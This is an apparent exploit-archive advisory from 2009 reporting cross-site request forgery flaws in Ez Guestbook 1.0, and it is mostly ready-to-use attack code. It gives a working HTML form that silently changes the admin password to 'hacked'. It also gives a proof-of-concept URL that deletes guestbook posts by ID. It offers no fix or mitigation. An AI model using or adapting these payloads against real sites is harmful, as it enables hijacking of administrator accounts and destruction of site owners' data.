49 lines
No EOL
2 KiB
Text
49 lines
No EOL
2 KiB
Text
[-------------------------------------------------------------------------------------------------]
|
|
[ Title: Ez Guestbook 1.0 Multiple Vulnerabilities
|
|
]
|
|
[ Author: Milos Zivanovic
|
|
]
|
|
[ Email: milosz.security[at]gmail.com
|
|
]
|
|
[ Date: 14. December 2009.
|
|
]
|
|
[-------------------------------------------------------------------------------------------------]
|
|
|
|
[-------------------------------------------------------------------------------------------------]
|
|
[ Application: Ez Guestbook
|
|
]
|
|
[ Version: 1.0
|
|
]
|
|
[ Link: http://www.scriptsez.net/?action=details&cat=Guestbooks&id=11873094083
|
|
]
|
|
[ Price: 10 USD
|
|
]
|
|
[ Vulnerability: Cross Site Request Forgery
|
|
]
|
|
[-------------------------------------------------------------------------------------------------]
|
|
|
|
Ez Guestbook script version 1.0 suffers from multiple vulnerabilities:
|
|
|
|
[#]Content
|
|
|--Change admin password
|
|
|--Remove post by ID
|
|
|
|
[*]Change admin password
|
|
|
|
[EXPLOIT------------------------------------------------------------------------------------------]
|
|
<form action="http://localhost/ez_gb/admin.php?action=change_password"
|
|
method="post">
|
|
<input type="hidden" name="admin_password" value="hacked">
|
|
<input type="hidden" name="c_admin_password" value="hacked">
|
|
<input type="hidden" name="add" value="true">
|
|
<input type="submit" name="submit" value=" CHANGE ">
|
|
</form>
|
|
[EXPLOIT------------------------------------------------------------------------------------------]
|
|
|
|
[+]Remove post by ID
|
|
|
|
[POC----------------------------------------------------------------------------------------------]
|
|
http://localhost/ez_gb/admin.php?action=view&do=delete&id=[ID]
|
|
[POC----------------------------------------------------------------------------------------------]
|
|
|
|
[----------------------------------------------EOF------------------------------------------------] |